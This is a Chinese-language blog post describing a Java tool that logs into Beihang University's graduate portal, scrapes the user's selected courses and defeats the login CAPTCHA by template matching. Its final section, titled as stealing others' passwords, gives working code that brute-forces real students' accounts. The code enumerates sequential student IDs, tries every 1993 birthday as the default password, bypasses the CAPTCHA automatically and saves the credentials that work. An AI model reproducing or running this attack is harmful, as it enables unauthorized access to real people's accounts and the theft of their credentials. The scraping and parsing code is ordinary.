誤刪課表系統

花了一天半時間將教務處上的課程表爬取下來,結果在今天晚上玩git時給誤刪了.真是蠢之極矣.北航教務處網站選課就是點擊單選按鈕,最後也不以課表的形式展現給人們.因而本系統經過模擬登陸,訪問網頁,用jsoup解析網頁上的課程,並以比較美觀的形式進行展現.其中登陸模塊進行驗證碼破解,只須要輸入用戶名和密碼,驗證碼自動輸入,提交這個表單就登錄成功了.然而這份代碼我已經刪了,明天再把它還原吧.

因而餘有嘆焉,古人嘗雲,不要輕易使用rm指令除非你清楚的知道你正在作什麼.當你疲憊時,必定不要從事危險動做.什麼是危險動做?刪除,修改等不可還原的寫操做都是危險動做.我正在刪除A,我覺得會實現目標A,結果把B給刪除了.誤刪不是作過一兩次了,必定要吸收教訓,慎慎重使用rm指令.

歐拉的著做在大火中焚燒大半,他尚且從頭再來.我這一個微不足道的程序,憑記憶徹底能夠在半小時內完成.

=========下面對本項目進行詳細陳述=======

一.項目依賴

dependencies {
    compile group: 'org.apache.httpcomponents', name: 'httpclient', version: '4.5.2'
    compile group: 'org.jsoup', name: 'jsoup', version: '1.9.2'
}

使用httpclient進行網絡請求,使用jsoup進行html解析

二.數據結構

//Course.java
public class Course {
    String name;
    List<CourseClass>courseClassList;
    double score;
}
//CourseClass.java
public class CourseClass {
    int week;
    int time;
    String address;
    Course course;
}

課程Course和CourseClass是一對多關係,由於一門課可能有不少節課,每節課有各自的時間地點.因此Course包含一個courseClassList來存儲上課時間和地點,爲了讓CourseClass得到Course的詳情,CourseClass中有一個Course成員.這樣一來就造成了一個指針迴路,四通八達的感受.在上面代碼中省略了getters&setters.

三.登陸北航研究生網站

public boolean login(String userId, String password, HttpClient client) throws IOException {
        //訪問登陸頁面並破解驗證碼
        String login = "http://gsmis.graduate.buaa.edu.cn/gsmis/main.do";
        String img = "http://gsmis.graduate.buaa.edu.cn/gsmis/Image.do";
        HttpEntity entity=client.execute(new HttpGet(login)).getEntity();
        EntityUtils.consume(entity);
        HttpEntity imgEntity = client.execute(new HttpGet(img)).getEntity();
        String checkCode = new Decoder(imgEntity.getContent()).ans;
        EntityUtils.consume(imgEntity);
        //提交表單
        String form = "http://gsmis.graduate.buaa.edu.cn/gsmis/indexAction.do";
        HttpPost formPost = new HttpPost(form);
        List<NameValuePair> formList = new ArrayList<>();
        formList.add(new BasicNameValuePair("id", userId));
        formList.add(new BasicNameValuePair("password", password));
        formList.add(new BasicNameValuePair("checkcode", checkCode));
        formPost.setEntity(new UrlEncodedFormEntity(formList));
        HttpEntity indexEntity = client.execute(formPost).getEntity();
        String indexStr = EntityUtils.toString(indexEntity);
        //根據index頁面內容判斷是否登錄成功
        int pos = indexStr.indexOf("當前用戶");
        return pos != -1;
    }

關於驗證碼破解在下文中講解,這裏重點說明網頁的請求過程.

第一步,get方式訪問登陸頁面,這一步的做用是告知服務器"我來了,給我一張驗證碼".因而服務器隨機生成一個字符串s,把s放到session裏面以備一下子進行驗證,而後服務器調用圖片生成程序把s畫到圖片中.把圖片連接link也放在session中,當我訪問"http://gsmis.graduate.buaa.edu.cn/gsmis/Image.do"鏈接時,服務器從session中取出link,把圖片交給我.

因此,若是直接訪問圖片連接,每次訪問到的圖片都不同,由於必須通過訪問登陸頁面服務器把驗證碼s和圖片連接link存到session中去.

技術上,對於任何一次請求,只要執行了就返回了HttpEntity,必需要把它消除掉,可使用EntityUtil.consume(HttpEntity)方法.若是不消除掉,許多資源就不會獲得釋放.

第二步,get方式訪問驗證碼連接.當訪問圖片鏈接時,服務器會查詢session,獲取圖片的真正地址,將圖片內容返給用戶.

第三步,破解驗證碼以後,將用戶,密碼,驗證碼三個屬性post到表單目標地址.這個過程,服務器會從session裏面取出驗證碼字符串s判斷一下是否正確,若是正確,再檢驗用戶名密碼是否配套.

四.訪問選課頁面

    public List<CourseClass> getSyllabus(String userId, String password) throws IOException {
        login(userId, password, client);
        //先訪問toModule而且必須消耗掉這個頁面,不然沒法訪問必修課頁面
        String toModule = "http://gsmis.graduate.buaa.edu.cn/gsmis/toModule.do?prefix=/py&page=/pySelectCourses.do?do=xsXuanKe";
        HttpResponse toModuleResp = client.execute(new HttpGet(toModule));
        EntityUtils.consume(toModuleResp.getEntity());
        //定義一個courseClassList用於存放課程,下面訪問多個頁面下的課程
        List<CourseClass> courseClassList = new ArrayList<>();
        //訪問必修課頁面並用jsoup進行解析
        String bixiu = "http://gsmis.graduate.buaa.edu.cn/gsmis/py/pySelectCourses.do?do=xuanBiXiuKe";
        HttpEntity bixiuEntity = client.execute(new HttpGet(bixiu)).getEntity();
        String bixiuHtml = EntityUtils.toString(bixiuEntity);
        courseClassList.addAll(parse(bixiuHtml));
        //訪問實驗類和專題類課程頁面並用jsoup解析
        String zhuanti = "http://gsmis.graduate.buaa.edu.cn/gsmis/py/pySylJsAction.do";
        //實驗類和專題類課程有以下三種,分別發起一次post請求
        for (String zhuantiType : "001900 001700 000900".split(" ")) {
            List<NameValuePair> zhuantiForm = new ArrayList<>();
            zhuantiForm.add(new BasicNameValuePair("sydl", zhuantiType));
            HttpPost zhuantiPost = new HttpPost(zhuanti);
            zhuantiPost.setEntity(new UrlEncodedFormEntity(zhuantiForm));
            HttpEntity zhuantiEntity = client.execute(zhuantiPost).getEntity();
            String zhuantiHtml = EntityUtils.toString(zhuantiEntity);
            courseClassList.addAll(parse(zhuantiHtml));
        }
        sortAndShow(courseClassList);
        return courseClassList;
    }

getSyllabus()函數接受用戶名,密碼參數,返回一個List<CourseClass>,表示課程列表.這個過程當中用到jsoup解析頁面.此函數位於SyllabusGetter.java中,SyllabusGetter有一個成員變量在這個函數中用到.

HttpClient client = HttpClients.createDefault();

五.解析頁面

    //解析html,返回已經選了的課的列表
    List<CourseClass> parse(String html) {
        List<CourseClass> ans = new ArrayList<>();
        List<Course> courses = new ArrayList<>();
        Document doc = Jsoup.parse(html);
        for (Element i : doc.select("input[checked]")) {
            Element tr = i.parent().parent();
            Elements tds = tr.select("td");
            String timeAddresses[] = tds.get(1).text().split(" ");
            String name = tds.get(4).text();
            String score = tds.get(7).text();
            Course course = new Course();
            course.setName(name.substring(0, name.indexOf("--")));
            course.setScore(Double.parseDouble(score));
            List<CourseClass> list = new ArrayList<>();
            for (String timeAddress : timeAddresses) {
                if (timeAddress.length() == 0) continue;
                List<CourseClass> ll = parseTimeAddress(timeAddress);
                for (CourseClass cc : ll) {
                    cc.setCourse(course);
                    list.add(cc);
                }
            }
            course.setCourseClassList(list);
            courses.add(course);
        }
        for (Course i : courses) {
            for (CourseClass j : i.getCourseClassList())
                ans.add(j);
        }
        return ans;
    }

    //由於有些課佔用好多節課,因此應該返回一個List<CourseClass>而不是CourseClass
    List<CourseClass> parseTimeAddress(String s) {
        List<CourseClass> ans = new ArrayList<>();
        String ss[] = s.split(",");
        int week = ss[0].charAt(1) - '0';
        Matcher m = Pattern.compile("\\d*~\\d*").matcher(ss[0]);
        m.find();
        String time[] = m.group().split("~");
        int start = Integer.parseInt(time[0]), end = Integer.parseInt(time[1]);
        String address = ss[1].substring(5, ss[1].length() - 1);
        CourseClass courseClass = new CourseClass();
        courseClass.setTime(start / 2 + 1);
        courseClass.setWeek(week);
        courseClass.setAddress(address);
        ans.add(courseClass);
        if (end - start == 3) {
            CourseClass courseClass1 = new CourseClass();
            courseClass1.setTime(start / 2 + 2);
            courseClass1.setWeek(week);
            courseClass1.setAddress(address);
            ans.add(courseClass1);
        }
        return ans;
    }

    void sortAndShow(List<CourseClass> courseClassList) {
        courseClassList.sort(new Comparator<CourseClass>() {
            @Override
            public int compare(CourseClass o1, CourseClass o2) {
                return o1.getWeek() * 10 + o1.getTime() - o2.getWeek() * 10 - o2.getTime();
            }
        });
        courseClassList.forEach(i -> {
            System.out.printf("周%d第%d節在%s上%s\n", i.getWeek(), i.getTime(), i.getAddress(), i.getCourse().getName());
        });
    }

解析頁面純粹就是字符串處理,多試幾回很容易就解析成功了.

六.驗證碼破解

本項目中的驗證碼比東大教務處驗證碼還要簡單,識別率高達百分之百.只有1-9共9個字符,而且也是像東大教務處那樣端端正正.因而整個流程跟以前並沒有分別.

驗證碼圖片爲50*20的顏色矩陣.一張圖片上有4個位置,好比"1111"這個驗證碼,4個1之間的間距始終爲9,同理"2222","3333"...各個字符之間的距離也是9.因此只須要記取每一個字符的位置和形狀兩個信息.

先得要下載一堆驗證碼圖片,獲取分析問題的原材料.

public class ImageDowloader {
    static HttpClient client= HttpClients.createDefault();
    public static void main(String[] args) throws IOException {
        HttpGet get=new HttpGet("http://gsmis.graduate.buaa.edu.cn/gsmis/Image.do");
        Path folder=Paths.get("src/main/resources/checkcodes");
        if(Files.exists(folder)==false){
            Files.createDirectory(folder);
        }
        for(int i=0;i<10;i++){
            OutputStream cout= Files.newOutputStream(folder.resolve(i+".jpg"));
            client.execute(get).getEntity().writeTo(cout);
            cout.close();
        }
    }
}

其次,經過鼠標點擊選取點集.生成data.txt

public class DataGenerator extends JFrame {
    public static void main(String[] args) {
        new DataGenerator();
    }

    JTextField text = new JTextField();
    JPanel panel = new JPanel() {
        @Override
        public void paint(Graphics g) {
            try {
                BufferedImage img = ImageIO.read(files[fileIndex]);
                if (chosen == null)
                    chosen = new boolean[img.getWidth()][img.getHeight()];
                for (int i = 0; i < img.getWidth(); i++) {
                    for (int j = 0; j < img.getHeight(); j++) {
                        if (chosen[i][j]) {
                            img.setRGB(i, j, Color.RED.getRGB());
                        }
                    }
                }
                g.drawImage(img, 0, 0, getWidth(), getHeight(), null);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    };
    File[] files = new File("src/main/resources/checkcodes").listFiles();
    int fileIndex = 0;
    int interval = 9;
    boolean chosen[][];
    Map<Integer, List<Point>> ans = new HashMap<>();

    DataGenerator() {
        ans=DataManager.load();
        setExtendedState(JFrame.MAXIMIZED_BOTH);
        setLayout(new BorderLayout());
        add(text, BorderLayout.NORTH);
        add(panel, BorderLayout.CENTER);
        setVisible(true);
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        panel.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_DOWN) {
                    fileIndex = (fileIndex + 1) % files.length;
                    chosen = null;
                    panel.repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_UP) {
                    fileIndex = (fileIndex - 1 + files.length) % files.length;
                    chosen = null;
                    panel.repaint();
                } else if (e.isControlDown() && e.getKeyCode() == KeyEvent.VK_S) {
                    DataManager.save(ans);
                }
            }
        });
        text.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_ENTER) {
                    if (text.getText().length() != 1) return;
                    int n = Integer.parseInt(text.getText());
                    List<Point> ps = new ArrayList<Point>();
                    for (int i = 0; i < chosen.length; i++) {
                        for (int j = 0; j < chosen[0].length; j++) {
                            if (chosen[i][j]) {
                                if (ps.size() == 0) {
                                    ps.add(new Point(i, j));
                                } else {
                                    ps.add(new Point(i - ps.get(0).x, j - ps.get(0).y));
                                }
                            }
                        }
                    }
                    ans.put(n, ps);
                    chosen=null;
                    text.setText("");
                    panel.repaint();
                }
            }
        });
        panel.addMouseListener(new MouseAdapter() {
            @Override
            public void mouseClicked(MouseEvent e) {
                double gridW = panel.getWidth() * 1.0 / chosen.length, gridH = panel.getHeight() * 1.0 / chosen[0].length;
                int x = (int) (e.getX() / gridW), y = (int) (e.getY() / gridH);
                if (e.getButton() == 1) {
                    chosen[x][y] = true;
                    panel.repaint();
                    setTitle(x+" "+y);
                } else if (e.getButton() == 3) {
                    chosen[x][y] = false;
                    panel.repaint();
                }
            }

            @Override
            public void mouseEntered(MouseEvent e) {
                panel.requestFocus();
            }
        });
    }

}

生成的data.txt以下所示

1  6 8 1 -1 2 -2 3 -3 3 -2 3 -1 3 0 3 1 3 2 3 3 3 4 3 5 3 6 3 7 3 8
2  5 7 0 9 1 -1 1 8 1 9 2 -2 2 7 2 9 3 -2 3 6 3 9 4 -2 4 5 4 9 5 -2 5 -1 5 3 5 4 5 9 6 -1 6 0 6 1 6 2 6 3 6 9
3  5 6 0 1 0 8 1 -1 1 0 1 9 2 -1 2 4 2 10 3 -1 3 4 3 10 4 -1 4 0 4 3 4 4 4 10 5 0 5 1 5 2 5 5 5 9 6 6 6 7 6 8
4  4 12 0 1 1 -1 1 1 2 -3 2 -2 2 1 3 -4 3 -3 3 1 4 -5 4 1 5 -6 5 1 6 -7 6 -6 6 -5 6 -4 6 -3 6 -2 6 -1 6 0 6 1 6 2 6 3 6 4 7 1
5  5 8 0 1 0 2 0 6 1 -3 1 -2 1 -1 1 1 1 2 1 7 2 -3 2 1 2 8 3 -3 3 1 3 8 4 -3 4 1 4 8 5 -3 5 2 5 7 6 -3 6 3 6 4 6 5 6 6
6  5 7 0 1 0 2 0 3 0 4 0 5 0 6 0 7 1 -1 1 3 1 7 1 8 2 -2 2 2 2 9 3 -2 3 2 3 9 4 -2 4 2 4 9 5 -2 5 -1 5 3 5 8 6 -1 6 0 6 4 6 5 6 6 6 7
7  6 5 1 0 2 0 2 8 2 9 2 10 2 11 3 0 3 4 3 5 3 6 3 7 4 0 4 2 4 3 4 4 5 0 5 1
8  5 7 0 1 0 5 0 6 0 7 1 -1 1 2 1 4 1 8 2 -2 2 3 2 9 3 -2 3 3 3 9 4 -2 4 3 4 9 5 -2 5 -1 5 2 5 4 5 8 6 0 6 1 6 5 6 6 6 7
9  5 7 0 1 0 2 0 3 0 7 1 -1 1 4 1 8 2 -2 2 5 2 9 3 -2 3 5 3 9 4 -2 4 5 4 9 5 -1 5 4 5 8 6 0 6 1 6 2 6 3 6 4 6 5 6 6 6 7

第一個字符表示字符自己是啥,接下來兩個數字表示字符在第一個位置時最左,最上點的座標,接下來本行所有數字都是相對於最左最上點的相對座標,也就是字符的形狀.

在讀寫data.txt過程當中,編寫一個data.txt的"管家類",專門負責data.txt的讀寫操做

public class DataManager {
    static String filePath = "src/main/resources/data.txt";

    public static void save(Map<Integer, List<Point>> ans) {
        try {
            PrintWriter cout = new PrintWriter(filePath);
            for (int i = 1; i < 10; i++) {
                if (ans.get(i) == null) continue;
                cout.print(i + " ");
                for (Point j : ans.get(i)) {
                    cout.print(" " + j.x + " " + j.y);
                }
                cout.println();
            }
            cout.close();
        } catch (Exception e1) {
            e1.printStackTrace();
        }
    }

    public static Map<Integer, List<Point>> load() {
        try {
            Map<Integer, List<Point>> ans = new HashMap<>();
            Scanner cin = new Scanner(new File("src/main/resources/data.txt"));
            while (cin.hasNext()) {
                Scanner line = new Scanner(cin.nextLine());
                int c = Integer.parseInt(line.next());
                List<Point> list = new ArrayList<>();
                while (line.hasNext()) {
                    int x = Integer.parseInt(line.next()), y = Integer.parseInt(line.next());
                    list.add(new Point(x, y));
                }
                ans.put(c, list);
            }
            return ans;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

有了data.txt就能夠經過模板匹配法框定一個點集,對這個點集對應的顏色集合求方差,方差越小說明顏色越相近.主要破解工做在Decoder.java中完成

class Color {
    double r, g, b;

    Color add(Color c) {
        return new Color(r + c.r, g + c.g, b + c.b);
    }

    Color(double d, double e, double f) {
        this.r = d;
        this.g = e;
        this.b = f;
    }

    Color(int x) {
        r = x & 255;
        g = (x >> 8) & 255;
        b = (x >> 16) & 255;
    }

    public Color mul() {
        return new Color(r * r, g * g, b * b);
    }

    public Color sub(Color m) {
        return new Color(r - m.r, g - m.g, b - m.b);
    }

    public Color div(int size) {
        return new Color(r / size, g / size, b / size);
    }

    public double len() {
        return Math.sqrt(r * r + g * g + b * b);
    }
}

public class Decoder {
    public String ans;
    int interval = 9;
    public Map<Integer, List<Point>> data;

    void load() {
        data = DataManager.load();
    }

    String go(BufferedImage img) {
        String ans = "";
        for (int i = 0; i < 4; i++) {
            int minC = 1;
            double minDx = Double.MAX_VALUE;
            for (int j = 1; j < 10; j++) {
                List<Point> s = data.get(j);
                Color m = new Color(0), n = new Color(0);
                for (int k = 1; k < s.size(); k++) {
                    int x = s.get(k).x + s.get(0).x + i * interval, y = s.get(k).y + s.get(0).y;
                    m = m.add(new Color(img.getRGB(x, y)));
                    n = n.add(new Color(img.getRGB(x, y)).mul());
                }
                n = n.div(s.size());
                m = m.div(s.size());
                double nowDx = n.sub(m.mul()).len();

                if (nowDx < minDx) {
                    minDx = nowDx;
                    minC = j;
                }
            }
            ans += Integer.toString(minC);
        }
        return ans;
    }

    public Decoder() {
        load();
    }

    public Decoder(InputStream cin) {
        this();
        try {
            ans = go(ImageIO.read(cin));
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    //手動輸入驗證碼
    public Decoder(HttpEntity entity) {
        try {
            OutputStream cout = Files.newOutputStream(Paths.get("src/main/resources/checkcode.jpg"));
            entity.writeTo(cout);
            cout.close();
            Scanner scanner = new Scanner(System.in);
            ans = scanner.next();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

爲了驗證驗證碼的正確性,寫一個可視化工具

public class DecodeFrame extends JFrame {
    public static void main(String[] args) {
        new DecodeFrame();
    }
    File[]files=new File("src/main/resources/checkcodes").listFiles();
    int fileIndex=0;
    JTextField text = new JTextField();
    JPanel panel = new JPanel() {
        @Override
        public void paint(Graphics g) {
            try {
                BufferedImage img= ImageIO.read(files[fileIndex]);
                g.drawImage(img,0,0,panel.getWidth(),panel.getHeight(),null);
                setTitle(new Decoder().go(img));
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    };

    DecodeFrame() {
        setExtendedState(MAXIMIZED_BOTH);
        setLayout(new BorderLayout());
        add(text, BorderLayout.NORTH);
        add(panel, BorderLayout.CENTER);
        setVisible(true);
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        text.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                panel.repaint();
            }
        });
        panel.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if(e.getKeyCode()==KeyEvent.VK_DOWN){
                    fileIndex=(fileIndex+1)%files.length;
                    panel.repaint();
                }else if(e.getKeyCode()==KeyEvent.VK_UP){
                    fileIndex=(fileIndex-1+files.length)%files.length;
                    panel.repaint();
                }
            }
        });
        panel.addMouseListener(new MouseAdapter() {
            @Override
            public void mouseEntered(MouseEvent e) {
                panel.requestFocus();
            }
        });
    }
}

七.盜取別人密碼

北航研究生選課網站密碼一開始默認是生日,例如19930612這種形式.而北航的學號命名規則是SY1606604,SY表示學碩,16表示16級也就是年級,06表示院系,6表示6班,04表示班內學號.因而寫一個循環程序挨個試探密碼.下面程序把20個學生地密碼試了一遍,其中密碼集假設爲1993年內365中密碼.整個過程大概須要5-6分鐘.

public class StealPassword {
    String prefix = "SY16066";
    CloseableHttpClient client = HttpClients.createDefault();

    public static void main(String[] args) throws IOException {
        new StealPassword();
    }

    StealPassword() throws IOException {
        SyllabusGetter getter = new SyllabusGetter();
        PrintWriter writer = new PrintWriter("user.txt");
        for (int i = 1; i < 20; i++) {
            String userId = String.format("%s%02d", prefix, i);
            LocalDate date = LocalDate.of(1993, 1, 1);
            LocalDate end = LocalDate.of(1994, 1, 1);
            while (date.equals(end) == false) {
                String password = date.toString().replace("-", "");
                date = date.plusDays(1);
                System.out.println(userId + " " + password);
                if (getter.login(userId, password, client)) {
                    writer.println(userId + " " + password);
                    break;
                }
            }
        }
        writer.close();
    }
}